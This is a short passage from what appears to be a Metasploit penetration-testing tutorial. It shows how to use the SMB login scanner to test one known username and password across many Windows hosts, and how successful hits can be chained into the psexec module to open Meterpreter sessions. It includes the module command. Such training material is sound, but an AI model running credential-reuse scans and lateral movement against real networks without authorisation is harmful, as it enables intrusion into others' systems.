SMB Login Check
A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target.
Keep in mind, this is very "loud" as it will show up as a failed login attempt in the event logs of every Windows box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into the windows/smb/psexec exploit module (exactly like the standalone tool) which can be utilized to create Meterpreter sessions. msf > use auxiliary/scanner/smb/login
